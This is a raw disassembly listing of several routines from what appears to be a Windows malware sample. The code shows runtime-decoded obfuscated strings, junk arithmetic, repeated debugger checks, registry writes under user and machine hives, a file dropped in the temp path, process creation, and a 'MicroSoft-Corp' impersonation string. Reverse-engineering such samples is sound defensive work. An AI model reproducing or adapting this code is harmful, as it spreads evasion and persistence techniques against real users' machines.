		call	sub_40C514	; GetCurrentThreadId
		mov	eax, [ebp+var_C]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_405527	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405601	proc near		; CODE XREF: sub_4062CD+176p

var_300B4	= dword	ptr -300B4h
var_300B0	= dword	ptr -300B0h
var_300AC	= dword	ptr -300ACh
var_300A7	= byte ptr -300A7h
var_300A4	= dword	ptr -300A4h
var_300A0	= dword	ptr -300A0h
var_3009A	= word ptr -3009Ah
var_30098	= dword	ptr -30098h
var_30094	= dword	ptr -30094h
var_30090	= dword	ptr -30090h
var_3008C	= dword	ptr -3008Ch
var_30088	= dword	ptr -30088h
var_30084	= dword	ptr -30084h
var_30080	= word ptr -30080h
var_3007B	= byte ptr -3007Bh
var_30073	= byte ptr -30073h
var_30072	= byte ptr -30072h
var_3006A	= byte ptr -3006Ah
var_30063	= byte ptr -30063h
var_3005E	= dword	ptr -3005Eh
var_3005A	= byte ptr -3005Ah
var_30053	= word ptr -30053h
var_30050	= word ptr -30050h
var_3004D	= byte ptr -3004Dh
var_3004C	= word ptr -3004Ch
var_3004A	= byte ptr -3004Ah
var_30040	= byte ptr -30040h
var_30036	= word ptr -30036h
var_30034	= dword	ptr -30034h
var_30030	= dword	ptr -30030h
var_3002C	= dword	ptr -3002Ch
var_30025	= byte ptr -30025h
var_30024	= dword	ptr -30024h
var_3001D	= byte ptr -3001Dh
var_3001C	= dword	ptr -3001Ch
var_30018	= dword	ptr -30018h
var_30014	= dword	ptr -30014h
var_30010	= dword	ptr -30010h
var_3000C	= byte ptr -3000Ch
var_2000C	= dword	ptr -2000Ch
var_20008	= dword	ptr -20008h
var_20003	= byte ptr -20003h
var_10004	= dword	ptr -10004h
var_10000	= byte ptr -10000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 300B4h
		call	sub_40C498
		push	ebx
		push	esi
		push	edi
		mov	ax, word_4412D5
		mov	[ebp+var_30050+1], ax
		and	[ebp+var_30024], 0
		mov	[ebp+var_30025], 97h
		add	[ebp+var_30025], 1
		and	[ebp+var_2000C], 0
		and	[ebp+var_30014], 0
		lea	eax, [ebp+var_10004]
		push	eax
		push	[ebp+arg_4]
		call	sub_401A36
		add	esp, 8
		mov	ebx, eax
		mov	eax, [ebp+var_10004]
		or	eax, eax
		jz	short loc_405668
		or	ebx, ebx
		jz	short loc_405668
		cmp	[ebp+arg_14], eax
		jb	short loc_4056A5

loc_405668:				; CODE XREF: sub_405601+5Cj
					; sub_405601+60j
		mov	[ebp+var_30080], 6D59h
		movzx	eax, [ebp+var_30080]
		imul	eax, 0CC8h
		mov	[ebp+var_30080], ax
		push	ebx
		call	sub_40C658	; LocalFree
		mov	[ebp+var_30084], 2194h
		inc	[ebp+var_30084]
		mov	[ebp+var_30024], 1

loc_4056A5:				; CODE XREF: sub_405601+65j
		push	[ebp+arg_C]
		call	sub_40C73C	; lstrlen
		mov	[ebp+var_30084], eax
		mov	eax, 64h
		mul	[ebp+var_10004]
		mov	[ebp+var_30088], eax
		mov	edi, [ebp+var_30084]
		imul	edi, [ebp+var_30084], 32h
		mov	esi, [ebp+var_30088]
		lea	edi, [esi+edi+1000h]
		push	edi
		push	40h
		call	sub_40C64C	; LocalAlloc
		mov	[ebp+var_20008], eax
		mov	[ebp+var_30030], 1459h
		sub	[ebp+var_30030], 3900h
		mov	ax, word_4412D7
		mov	[ebp-30051h], ax
		mov	ax, word_4412D9
		mov	[ebp+var_30053], ax
		push	[ebp+arg_0]
		push	104h
		call	sub_40C58C	; GetTempPathA
		mov	[ebp+var_30034], 6721h
		add	[ebp+var_30034], 7499h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_3008C], eax
		mov	ecx, eax
		or	eax, 0FFFFFFFFh

loc_405749:				; CODE XREF: sub_405601+14Dj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_405749
		mov	edi, eax
		mov	esi, 10h
		sub	esi, dword_4412B4
		push	esi
		mov	esi, [ebp+var_3008C]
		add	esi, edi
		push	esi
		call	sub_40170F
		add	esp, 8
		push	4
		push	offset byte_446453
		call	sub_405254
		add	esp, 8
		push	eax
		push	[ebp+arg_0]
		call	sub_40CA54
		add	esp, 8
		push	6
		push	offset dword_44644C
		call	sub_405254
		add	esp, 8
		push	eax
		push	[ebp+var_20008]
		call	sub_40494F
		add	esp, 8
		push	6
		push	offset byte_446445
		call	sub_405254
		add	esp, 8
		push	eax
		push	[ebp+var_20008]
		call	sub_40494F
		add	esp, 8
		mov	[ebp+var_30036], 4962h
		sub	[ebp+var_30036], 55C0h
		push	13h
		push	offset byte_446431
		call	sub_405254
		add	esp, 8
		push	[ebp+arg_1C]
		push	offset aMicrosoftCorp ;	"MicroSoft-Corp"
		push	eax
		lea	edi, [ebp+var_20003]
		push	edi
		call	sub_40CA30
		add	esp, 10h
		lea	edi, [ebp+var_3005A]
		lea	esi, aMkQe9	; "mk,qe9"
		mov	ecx, 7
		rep movsb
		lea	eax, [ebp+var_20003]
		push	eax
		push	[ebp+var_20008]
		call	sub_40494F
		add	esp, 8
		mov	eax, off_4412E2
		mov	[ebp+var_3005E], eax
		push	7
		push	offset word_44641A
		call	sub_405254
		add	esp, 8
		push	eax
		push	[ebp+var_20008]
		call	sub_40494F
		add	esp, 8
		call	sub_40C538	; RtlGetLastWin32Error
		push	6
		push	offset byte_446413
		call	sub_405254
		add	esp, 8
		push	eax
		push	[ebp+var_20008]
		call	sub_40494F
		add	esp, 8
		call	sub_40C508	; GetCurrentProcessId
		lea	edi, [ebp+var_30063]
		lea	esi, aK_0	; "K &,"
		mov	ecx, 5
		rep movsb
		push	5
		push	offset byte_44640D
		call	sub_405254
		add	esp, 8
		mov	[ebp+var_30090], eax
		call	sub_40CA18
		mov	ecx, 3E8h
		cdq
		idiv	ecx
		push	edx
		mov	edi, [ebp+var_30090]
		push	[ebp+var_30090]
		lea	edi, [ebp+var_30040]
		push	edi
		call	sub_40CA30
		add	esp, 0Ch
		push	2Ah
		push	offset word_4463E2
		call	sub_405254
		add	esp, 8
		lea	edi, [ebp+var_30040]
		push	edi
		push	[ebp+arg_8]
		push	eax
		lea	edi, [ebp+var_20003]
		push	edi
		call	sub_40CA30
		add	esp, 10h
		call	sub_40C508	; GetCurrentProcessId
		lea	eax, [ebp+var_20003]
		push	eax
		push	[ebp+var_20008]
		call	sub_40494F
		add	esp, 8
		call	sub_40C598	; GetTickCount
		push	2Dh
		push	offset dword_4463B4
		call	sub_405254
		add	esp, 8
		mov	[ebp+var_30094], eax
		call	sub_40CA18
		mov	ecx, 9
		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 14h
		push	edi
		mov	edi, [ebp+var_30094]
		push	[ebp+var_30094]
		lea	edi, [ebp+var_20003]
		push	edi
		call	sub_40CA30
		add	esp, 0Ch
		mov	[ebp+var_30018], 64D8h
		mov	eax, [ebp+var_30018]
		mov	edx, eax
		add	edx, eax
		mov	[ebp+var_30018], edx
		lea	eax, [ebp+var_20003]
		push	eax
		push	[ebp+var_20008]
		call	sub_40494F
		add	esp, 8
		call	sub_40C574	; GetProcessHeap
		cmp	[ebp+var_30024], 0
		jnz	loc_405C81
		cmp	[ebp+arg_18], 0
		jz	loc_405B0E
		mov	ax, word_4412EB
		mov	[ebp+var_3009A], ax
		and	[ebp+var_30098], 0
		jmp	loc_405AF1
; ---------------------------------------------------------------------------

loc_4059B8:				; CODE XREF: sub_405601+4FCj
		lea	edi, [ebp+var_300A7]
		lea	esi, byte_4412ED
		mov	ecx, 3
		rep movsb
		mov	[ebp+var_10000], 0
		mov	[ebp+var_300A4], 4DFDh
		mov	eax, 5Dh
		mul	[ebp+var_300A4]
		mov	[ebp+var_300AC], eax
		mov	[ebp+var_300A4], eax
		and	[ebp+var_300A0], 0
		jmp	loc_405A93
; ---------------------------------------------------------------------------

loc_4059FF:				; CODE XREF: sub_405601+49Cj
		call	sub_40C508	; GetCurrentProcessId
		mov	eax, [ebp+var_30098]
		add	eax, [ebp+var_300A0]
		cmp	eax, [ebp+var_10004]
		jnb	loc_405AA3
		push	6
		push	offset a_OO	; "\t_\tO\tO"
		call	sub_405254
		mov	[ebp+var_300B0], eax
		mov	edi, [ebp+var_30098]
		add	edi, [ebp+var_300A0]
		movzx	edi, byte ptr [ebx+edi]
		mov	eax, edi
		mov	ecx, 1Ah
		cdq
		idiv	ecx
		mov	esi, edx
		add	esi, 61h
		push	esi
		mov	eax, edi
		mov	ecx, 1Ah
		mov	edx, 4EC4EC4Fh
		mul	edx
		shr	edx, 3
		mov	[ebp+var_300B4], edx
		mov	edi, edx
		add	edi, 61h
		push	edi
		lea	edi, [ebp+var_10000]
		push	edi
		mov	edi, [ebp+var_300B0]
		push	edi
		lea	edi, [ebp+var_10000]
		push	edi
		call	sub_40CA30
		add	esp, 1Ch
		call	sub_40C598	; GetTickCount
		inc	[ebp+var_300A0]

loc_405A93:				; CODE XREF: sub_405601+3F9j
		cmp	[ebp+var_300A0], 80h
		jb	loc_4059FF

loc_405AA3:				; CODE XREF: sub_405601+415j
		push	30h
		push	offset byte_446383
		call	sub_405254
		push	[ebp+var_2000C]
		push	[ebp+arg_10]
		lea	edi, [ebp+var_10000]
		push	edi
		push	eax
		lea	edi, [ebp+var_20003]
		push	edi
		call	sub_40CA30
		lea	eax, [ebp+var_20003]
		push	eax
		push	[ebp+var_20008]
		call	sub_40494F
		add	esp, 24h
		add	[ebp+var_30098], 80h
		inc	[ebp+var_2000C]

loc_405AF1:				; CODE XREF: sub_405601+3B2j
		mov	eax, [ebp+var_10004]
		cmp	[ebp+var_30098], eax
		jb	loc_4059B8
		mov	[ebp+var_30014], eax
		jmp	loc_405C81
; ---------------------------------------------------------------------------

loc_405B0E:				; CODE XREF: sub_405601+398j
		mov	word ptr [ebp+var_30098+2], 0E7h
		sub	word ptr [ebp+var_30098+2], 3C4h
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_10004], eax
		jmp	loc_405C5D
; ---------------------------------------------------------------------------

loc_405B2E:				; CODE XREF: sub_405601+67Aj
		call	sub_40C598	; GetTickCount
		cmp	[ebp+var_10000], 0
		jz	loc_405C5D
		mov	byte ptr [ebp+var_30098+1], 8Bh
		movzx	eax, byte ptr [ebp+var_30098+1]
		imul	eax, 0C29h
		mov	byte ptr [ebp+var_30098+1], al
		mov	eax, [ebp+arg_14]
		add	eax, 0C800h
		cmp	[ebp+var_10004], eax
		jnb	loc_405C81
		mov	eax, [ebp+var_10004]
		mov	[ebp+var_30014], eax
		push	3
		push	offset byte_44637F
		call	sub_405254
		push	[ebp+arg_C]
		push	eax
		lea	edi, [ebp+var_3000C]
		push	edi
		call	sub_40CA30
		add	esp, 14h
		lea	ecx, [ebp+var_3000C]
		or	eax, 0FFFFFFFFh

loc_405BA2:				; CODE XREF: sub_405601+5A6j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_405BA2
		mov	edi, eax
		mov	[ebp+var_3009A], di
		lea	eax, [ebp+var_10000]
		push	eax
		movzx	eax, [ebp+var_3009A]
		lea	eax, [ebp+eax+var_3000C]
		push	eax
		call	sub_40C4B8
		call	sub_40C634	; IsDebuggerPresent
		lea	eax, [ebp+var_3000C]
		push	eax
		call	sub_405527
		add	esp, 4
		mov	[ebp+var_30010], eax
		call	sub_40C5A4	; GetVersion
		push	30h
		push	offset byte_446383
		call	sub_405254
		add	esp, 8
		push	[ebp+var_2000C]
		push	[ebp+arg_10]
		push	[ebp+var_30010]
		push	eax
		lea	edi, [ebp+var_20003]
		push	edi
		call	sub_40CA30
		add	esp, 14h
		call	sub_40C508	; GetCurrentProcessId
		lea	eax, [ebp+var_20003]
		push	eax
		push	[ebp+var_20008]
		call	sub_40494F
		add	esp, 8
		call	sub_40C574	; GetProcessHeap
		push	[ebp+var_30010]
		call	sub_40C658	; LocalFree
		lea	edi, [ebp+var_300A4+3]
		lea	esi, aCcvJ8	; "cc j8"
		mov	ecx, 7
		rep movsb
		inc	[ebp+var_2000C]

loc_405C5D:				; CODE XREF: sub_405601+528j
					; sub_405601+539j
		lea	eax, [ebp+var_10000]
		push	eax
		push	[ebp+var_10004]
		push	ebx
		call	sub_401B9A
		add	esp, 0Ch
		mov	[ebp+var_10004], eax
		or	eax, eax
		jnz	loc_405B2E

loc_405C81:				; CODE XREF: sub_405601+38Ej
					; sub_405601+508j ...
		push	1Eh
		push	offset dword_446360
		call	sub_405254
		push	eax
		push	[ebp+var_20008]
		call	sub_40494F
		lea	edi, [ebp+var_3006A]
		lea	esi, aTbrgnn	; "tRnn"
		mov	ecx, 7
		rep movsb
		push	7
		push	offset dword_446358
		call	sub_405254
		push	eax
		push	[ebp+var_20008]
		call	sub_40494F
		call	sub_40C574	; GetProcessHeap
		push	8
		push	offset byte_44634F
		call	sub_405254
		push	eax
		push	[ebp+var_20008]
		call	sub_404663
		call	sub_40C514	; GetCurrentThreadId
		lea	edi, [ebp+var_30072]
		lea	esi, aHz_B	; "hZ.*~b!"
		movsd
		movsd
		push	6
		push	offset dword_446348
		call	sub_405254
		mov	[ebp+var_30098], eax
		call	sub_40CA18
		mov	[ebp-3009Ch], eax
		call	sub_40CA18
		mov	ecx, 63h
		cdq
		idiv	ecx
		push	edx
		mov	edi, [ebp-3009Ch]
		mov	eax, edi
		mov	ecx, 14h
		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 61h
		push	edi
		mov	edi, [ebp+var_30098]
		push	edi
		lea	edi, [ebp+var_3004A]
		push	edi
		call	sub_40CA30
		push	0Eh
		push	offset byte_446339
		call	sub_405254
		lea	edi, [ebp+var_3004A]
		push	edi
		push	eax
		lea	edi, [ebp+var_20003]
		push	edi
		call	sub_40CA30
		mov	[ebp+var_3004C], 7B91h
		inc	[ebp+var_3004C]
		lea	eax, [ebp+var_20003]
		push	eax
		push	[ebp+var_20008]
		call	sub_404663
		mov	[ebp+var_3001C], 5751h
		mov	eax, [ebp+var_3001C]
		mov	edx, eax
		add	edx, eax
		mov	[ebp+var_3001C], edx
		push	15h
		push	offset byte_446323
		call	sub_405254
		lea	edi, [ebp+var_30040]
		push	edi
		push	eax
		lea	edi, [ebp+var_20003]
		push	edi
		call	sub_40CA30
		lea	eax, [ebp+var_20003]
		push	eax
		push	[ebp+var_20008]
		call	sub_404663
		mov	[ebp+var_3004D], 60h
		movzx	eax, [ebp+var_3004D]
		imul	eax, 170Ah
		mov	[ebp+var_3004D], al
		push	1
		push	offset byte_446321
		call	sub_405254
		push	eax
		push	[ebp+var_20008]
		call	sub_404663
		lea	edi, [ebp+var_30073]
		lea	esi, byte_441306
		xor	ecx, ecx
		inc	ecx
		rep movsb
		push	16h
		push	offset word_44630A
		call	sub_405254
		mov	[ebp+var_300A0], eax
		call	sub_40CA18
		mov	ecx, 3E8h
		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 2710h
		push	edi
		lea	edi, [ebp+var_3004A]
		push	edi
		mov	edi, [ebp+var_300A0]
		push	edi
		lea	edi, [ebp+var_20003]
		push	edi
		call	sub_40CA30
		call	sub_40C538	; RtlGetLastWin32Error
		lea	eax, [ebp+var_20003]
		push	eax
		push	[ebp+var_20008]
		call	sub_404663
		call	sub_40C598	; GetTickCount
		push	9
		push	offset dword_446300
		call	sub_405254
		push	eax
		push	[ebp+var_20008]
		call	sub_40494F
		push	7
		push	offset dword_4462F8
		call	sub_405254
		push	eax
		push	[ebp+var_20008]
		call	sub_40494F
		lea	edi, [ebp+var_3007B]
		lea	esi, aAxq@Mi	; "Axq@;mI"
		mov	ecx, 2
		rep movsd
		push	7
		push	offset dword_4462F0
		call	sub_405254
		push	eax
		push	[ebp+var_20008]
		call	sub_40CA54
		call	sub_40C538	; RtlGetLastWin32Error
		push	[ebp+arg_0]
		call	sub_403449
		add	esp, 0E4h
		push	0
		push	0
		push	2
		push	0
		push	0
		push	40000000h
		push	[ebp+arg_0]
		call	sub_40C67C	; CreateFileA
		mov	[ebp+var_3002C], eax
		mov	[ebp+var_3001D], 0DCh
		movzx	eax, [ebp+var_3001D]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_3001D], al
		push	[ebp+var_20008]
		call	sub_40C73C	; lstrlen
		push	0
		lea	edi, [ebp+var_2000C]
		push	edi
		push	eax
		push	[ebp+var_20008]
		push	[ebp+var_3002C]
		call	sub_40C730	; WriteFile
		push	[ebp+var_3002C]
		call	sub_40C55C	; CloseHandle
		push	[ebp+var_20008]
		call	sub_40C658	; LocalFree
		cmp	[ebp+var_30024], 0
		jnz	short loc_405F69
		push	ebx
		call	sub_40C658	; LocalFree
		jmp	short loc_405F6E
; ---------------------------------------------------------------------------

loc_405F69:				; CODE XREF: sub_405601+95Ej
		or	eax, 0FFFFFFFFh
		jmp	short loc_405F74
; ---------------------------------------------------------------------------

loc_405F6E:				; CODE XREF: sub_405601+966j
		mov	eax, [ebp+var_30014]

loc_405F74:				; CODE XREF: sub_405601+96Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_405601	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405F79	proc near		; CODE XREF: sub_4062CD:loc_4063F9p

var_2125	= byte ptr -2125h
var_211E	= byte ptr -211Eh
var_111F	= byte ptr -111Fh
var_124		= dword	ptr -124h
var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= word ptr -118h
var_116		= byte ptr -116h
var_115		= byte ptr -115h
var_10E		= dword	ptr -10Eh
var_109		= byte ptr -109h
var_108		= dword	ptr -108h
var_101		= byte ptr -101h
var_100		= byte ptr -100h

		push	ebp
		mov	ebp, esp
		mov	eax, 2128h
		call	sub_40C498
		push	esi
		push	edi
		call	sub_40C538	; RtlGetLastWin32Error
		mov	eax, dword_44130F
		mov	[ebp+var_10E+1], eax
		lea	edi, [ebp+var_115]
		lea	esi, a7ynj	; " * 7YNJ"
		movsd
		movsd
		and	[ebp+var_108], 0
		mov	[ebp+var_101], 0
		jmp	loc_4060E5
; ---------------------------------------------------------------------------

loc_405FB9:				; CODE XREF: sub_405F79+174j
		mov	[ebp+var_116], 0ABh
		movzx	eax, [ebp+var_116]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_116], al
		push	44h
		push	offset byte_4462AB
		call	sub_405254
		movzx	edi, [ebp+var_101]
		push	edi
		push	eax
		lea	edi, [ebp+var_100]
		push	edi
		call	sub_40CA30
		push	4
		push	offset word_4462A6
		call	sub_405254
		push	4
		push	4
		lea	edi, [ebp+var_108]
		push	edi
		push	eax
		lea	edi, [ebp+var_100]
		push	edi
		push	80000001h
		call	sub_4015EB
		mov	[ebp+var_118], 3316h
		inc	[ebp+var_118]
		push	4
		push	offset word_4462A6
		call	sub_405254
		push	4
		push	4
		lea	edi, [ebp+var_108]
		push	edi
		push	eax
		lea	edi, [ebp+var_100]
		push	edi
		push	80000002h
		call	sub_4015EB
		call	sub_40C598	; GetTickCount
		push	4Dh
		push	offset dword_446258
		call	sub_405254
		movzx	edi, [ebp+var_101]
		push	edi
		push	eax
		lea	edi, [ebp+var_100]
		push	edi
		call	sub_40CA30
		push	4
		push	offset word_4462A6
		call	sub_405254
		push	4
		push	4
		lea	edi, [ebp+var_108]
		push	edi
		push	eax
		lea	edi, [ebp+var_100]
		push	edi
		push	80000002h
		call	sub_4015EB
		call	sub_40C5A4	; GetVersion
		push	4
		push	offset word_4462A6
		call	sub_405254
		push	4
		push	4
		lea	edi, [ebp+var_108]
		push	edi
		push	eax
		lea	edi, [ebp+var_100]
		push	edi
		push	80000001h
		call	sub_4015EB
		add	esp, 0A8h
		call	sub_40C634	; IsDebuggerPresent
		add	[ebp+var_101], 1

loc_4060E5:				; CODE XREF: sub_405F79+3Bj
		mov	al, [ebp+var_101]
		cmp	al, 5
		jb	loc_405FB9
		call	sub_40C5A4	; GetVersion
		cmp	eax, 80000000h
		jb	short loc_406172
		mov	[ebp+var_11C], 3E8Eh
		sub	[ebp+var_11C], 398Ch
		push	4Ch
		push	offset byte_44620B
		call	sub_405254
		mov	[ebp+var_120], eax
		push	10h
		push	offset aNC_ibiCoi__ ; "n^C[_IbI[|^COI__"
		call	sub_405254
		mov	[ebp+var_124], eax
		push	3
		push	offset word_4461F6
		call	sub_405254
		push	1
		mov	edi, 12h
		sub	edi, dword_4412B8
		push	edi
		push	eax
		mov	edi, [ebp+var_124]
		push	edi
		mov	edi, [ebp+var_120]
		push	edi
		push	80000003h
		call	sub_4015EB
		add	esp, 30h
		jmp	loc_406222
; ---------------------------------------------------------------------------

loc_406172:				; CODE XREF: sub_405F79+184j
		call	sub_40C598	; GetTickCount
		lea	edi, [ebp+var_2125]
		lea	esi, aCowt9n	; "cowt9N"
		mov	ecx, 7
		rep movsb
		lea	eax, [ebp+var_111F]
		push	eax
		call	sub_40518F
		call	sub_40C634	; IsDebuggerPresent
		push	59h
		push	offset dword_44619C
		call	sub_405254
		lea	edi, [ebp+var_111F]
		push	edi
		push	eax
		lea	edi, [ebp+var_211E]
		push	edi
		call	sub_40CA30
		mov	[ebp+var_116], 0D3h
		movzx	eax, [ebp+var_116]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_116], al
		and	[ebp+var_120], 0
		push	0Ch
		push	offset byte_44618F
		call	sub_405254
		push	4
		push	4
		lea	edi, [ebp+var_120]
		push	edi
		push	eax
		lea	edi, [ebp+var_211E]
		push	edi
		push	80000003h
		call	sub_4015EB
		add	esp, 38h
		mov	[ebp+var_11C], 6405h
		mov	eax, [ebp+var_11C]
		mov	edx, eax
		add	edx, eax
		mov	[ebp+var_11C], edx

loc_406222:				; CODE XREF: sub_405F79+1F4j
		push	3Bh
		push	offset byte_446153
		call	sub_405254
		mov	[ebp+var_11C], eax
		push	11h
		push	offset aK@cnm@y_iCjj@e ; "k@CNM@y_I^cJJ@EBI"
		call	sub_405254
		push	4
		push	4
		lea	edi, [ebp+var_108]
		push	edi
		push	eax
		mov	edi, [ebp+var_11C]
		push	edi
		push	80000001h
		call	sub_4015EB
		call	sub_40C634	; IsDebuggerPresent
		push	33h
		push	offset byte_44610D
		call	sub_405254
		push	1
		push	0
		push	offset byte_446605
		push	offset byte_446605
		push	eax
		push	80000001h
		call	sub_4015EB
		mov	[ebp+var_109], 0A7h
		movzx	eax, [ebp+var_109]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_109], al
		push	3Bh
		push	offset byte_4460D1
		call	sub_405254
		push	1
		push	0
		push	offset byte_446605
		push	offset byte_446605
		push	eax
		push	80000001h
		call	sub_4015EB
		add	esp, 68h
		pop	edi
		pop	esi
		leave
		retn
sub_405F79	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4062CD	proc near		; CODE XREF: sub_409847+2C6p
					; sub_409847+5E3p ...

var_3B8		= dword	ptr -3B8h
var_3B1		= byte ptr -3B1h
var_3B0		= dword	ptr -3B0h
var_3AB		= byte ptr -3ABh
var_2A7		= byte ptr -2A7h
var_2A2		= byte ptr -2A2h
var_29F		= byte ptr -29Fh
var_29D		= byte ptr -29Dh
var_29C		= dword	ptr -29Ch
var_298		= dword	ptr -298h
var_294		= byte ptr -294h
var_290		= byte ptr -290h
var_28D		= byte ptr -28Dh
var_285		= byte ptr -285h
var_280		= dword	ptr -280h
var_27C		= dword	ptr -27Ch
var_278		= dword	ptr -278h
var_274		= dword	ptr -274h
var_270		= word ptr -270h
var_26E		= word ptr -26Eh
var_26C		= word ptr -26Ch
var_269		= byte ptr -269h
var_268		= dword	ptr -268h
var_264		= word ptr -264h
var_261		= byte ptr -261h
var_260		= dword	ptr -260h
var_25C		= dword	ptr -25Ch
var_250		= byte ptr -250h
var_14C		= dword	ptr -14Ch
var_148		= dword	ptr -148h
var_11C		= dword	ptr -11Ch
var_118		= word ptr -118h
var_104		= byte ptr -104h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 3B8h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_261], 59h
		add	[ebp+var_261], 14h
		and	[ebp+var_14C], 0
		mov	[ebp+var_264], 798Fh
		sub	[ebp+var_264], 30E0h
		xor	ebx, ebx
		lea	edi, [ebp+var_285]
		lea	esi, aJv_	; "&JV_"
		mov	ecx, 5
		rep movsb
		push	offset dword_4412C0
		call	sub_40C610	; InterlockedIncrement
		mov	[ebp+var_274], eax
		lea	edi, [ebp+var_28D]
		lea	esi, byte_441327
		movsd
		movsd
		push	10h
		push	0
		lea	eax, [ebp+var_260]
		push	eax
		call	sub_40CA00
		lea	edi, [ebp+var_290]
		lea	esi, byte_44132F
		mov	ecx, 3
		rep movsb
		mov	[ebp+var_278], 104h
		push	21h
		push	offset byte_4460AF
		call	sub_405254
		mov	[ebp+var_298], eax
		push	4
		push	offset aMxd	; "|MXD"
		call	sub_405254
		lea	edi, [ebp+var_294]
		push	edi
		lea	edi, [ebp+var_278]
		push	edi
		lea	edi, [ebp+var_250]
		push	edi
		push	eax
		mov	edi, [ebp+var_298]
		push	edi
		push	80000002h
		call	sub_4014BD
		add	esp, 34h
		mov	[ebp+var_27C], eax
		mov	[ebp+var_268], 1431h
		sub	[ebp+var_268], 2BF6h
		or	eax, eax
		jnz	short loc_4063F9
		mov	[ebp+var_29C], 2D07h
		inc	[ebp+var_29C]
		push	[ebp+arg_0]
		call	sub_40C658	; LocalFree
		lea	edi, [ebp+var_2A2]
		lea	esi, word_441332
		mov	ecx, 3
		rep movsw
		xor	eax, eax
		jmp	loc_40689D
; ---------------------------------------------------------------------------

loc_4063F9:				; CODE XREF: sub_4062CD+F7j
		call	sub_405F79
		mov	[ebp+var_269], 2
		add	[ebp+var_269], 0BCh
		push	104h
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_250]
		push	eax
		call	sub_40C4F0	; ExpandEnvironmentStringsA
		push	[ebp+var_274]
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		lea	eax, [ebp+var_250]
		push	eax
		call	sub_405601
		add	esp, 20h
		mov	[ebp+var_14C], eax
		cmp	[ebp+arg_1C], 0
		jz	short loc_40646F
		cmp	eax, 0FFFFFFFFh
		jz	short loc_406469
		mov	eax, [ebp+arg_1C]
		mov	edx, [ebp+var_14C]
		mov	[eax], edx
		jmp	short loc_40646F
; ---------------------------------------------------------------------------

loc_406469:				; CODE XREF: sub_4062CD+18Dj
		mov	eax, [ebp+arg_1C]
		and	dword ptr [eax], 0

loc_40646F:				; CODE XREF: sub_4062CD+188j
					; sub_4062CD+19Aj
		cmp	[ebp+var_14C], 0
		jnz	short loc_4064B7
		lea	edi, [ebp+var_29D]
		lea	esi, byte_441338
		mov	ecx, 3
		rep movsb
		push	[ebp+arg_0]
		call	sub_40C658	; LocalFree
		mov	word ptr [ebp+var_29C+2], 3601h
		movzx	eax, word ptr [ebp+var_29C+2]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	word ptr [ebp+var_29C+2], ax
		xor	eax, eax
		jmp	loc_40689D
; ---------------------------------------------------------------------------

loc_4064B7:				; CODE XREF: sub_4062CD+1A9j
		push	0Eh
		push	offset byte_44609B
		call	sub_405254
		push	eax
		lea	edi, [ebp+var_104]
		push	edi
		call	sub_40CA54
		lea	eax, [ebp+var_250]
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_40CA54
		call	sub_40C538	; RtlGetLastWin32Error
		call	sub_404527
		mov	[ebp+var_280], eax
		call	sub_40C538	; RtlGetLastWin32Error
		push	44h
		push	0
		lea	eax, [ebp+var_148]
		push	eax
		call	sub_40CA00
		mov	[ebp+var_26C], 597Ch
		movzx	eax, [ebp+var_26C]
		imul	eax, 641Bh
		mov	[ebp+var_26C], ax
		push	44h
		push	0
		lea	eax, [ebp+var_148]
		push	eax
		call	sub_40CA00
		add	esp, 30h
		call	sub_40C508	; GetCurrentProcessId
		mov	[ebp+var_148], 44h
		call	sub_40C634	; IsDebuggerPresent
		mov	[ebp+var_11C], 1
		mov	[ebp+var_118], 1
		cmp	[ebp+var_280], 0
		jz	short loc_406577
		lea	eax, [ebp+var_148]
		push	eax
		call	sub_4045B7
		pop	ecx
		jmp	short loc_406580
; ---------------------------------------------------------------------------

loc_406577:				; CODE XREF: sub_4062CD+299j
		mov	[ebp+var_118], 0

loc_406580:				; CODE XREF: sub_4062CD+2A8j
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_148]
		push	eax
		push	0
		push	0
		push	20h
		push	0
		push	0
		push	0
		lea	eax, [ebp+var_104]
		push	eax
		push	0
		call	sub_40C70C	; CreateProcessA
		or	eax, eax
		jz	loc_406823
		call	sub_40C634	; IsDebuggerPresent
		push	[ebp+var_25C]
		call	sub_40C55C	; CloseHandle
		push	22h
		push	offset dword_446078
		call	sub_405254
		push	[ebp+var_274]
		push	offset aMicrosoftCorp ;	"MicroSoft-Corp"
		push	eax
		lea	edi, [ebp+var_104]
		push	edi
		call	sub_40CA30
		add	esp, 18h
		call	sub_40C538	; RtlGetLastWin32Error
		mov	byte ptr [ebp+var_29C+3], 0
